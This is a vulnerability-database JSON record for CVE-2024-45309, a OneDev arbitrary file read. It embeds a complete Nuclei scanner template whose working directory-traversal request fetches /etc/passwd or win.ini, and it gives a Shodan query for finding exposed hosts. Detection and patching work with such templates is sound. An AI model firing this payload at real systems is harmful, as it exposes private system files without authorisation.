{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-45309/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-45309/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-45309/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-45309/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-45309/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-45309"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-45309"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.24531,
      "kev": false,
      "percentile": 0.97803
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-45309.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2024-45309\n\ninfo:\n  name: OneDev.io < 11.0.9 - Arbitrary File Read\n  author: isacaya\n  severity: high\n  description: |\n    Files on the host computer can be accessed by directory traversal.\n  impact: |\n    An attacker would be able to view the contents of a file on the computer.\n  remediation: |\n    Update to version 11.0.9.\n  reference:\n    - https://x.com/Siebene7/status/1848727539046617324\n    - https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-45309\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-45309\n    cwe-id: CWE-22\n    epss-score: 0.24531\n    epss-percentile: 0.97803\n    cpe: cpe:2.3:a:onedev_project:onedev:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: onedev\n    shodan-query: html:\"onedev.io\"\n    product: onedev\n    framework: java\n  tags: cve,cve2024,lfi,onedev,vuln,vkev\n\nflow: |\n  http(1)\n  for (let projectName of iterate(template.project)) {\n    set(\"project\", projectName)\n    http(2)\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /~projects HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(body), \"onedev\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: project\n        group: 3\n        regex:\n          - '<a class=\"mr-([0-9]+)\" id=\"([a-z0-9]+)\" href=\"(.*)\">'\n        internal: true\n\n  - raw:\n      - |\n        GET {{project}}/~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{{path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      path:\n        - /etc/passwd\n        - /windows/win.ini\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - 'root:.*:0:0:'\n          - '\\\\[(font|extension|file)s\\\\]'\n        condition: or\n\n      - type: word\n        part: header\n        words:\n          - 'filename='\n          - 'application/octet-stream'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220235f8d9806a0506d5d9690fc8a60b4d033b78384a1e75630661045e192a7042d0220561de762b73be3b2829bc1e3a3a072139fa6438f878dc050054ad3fd33ef2061:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-45309"
}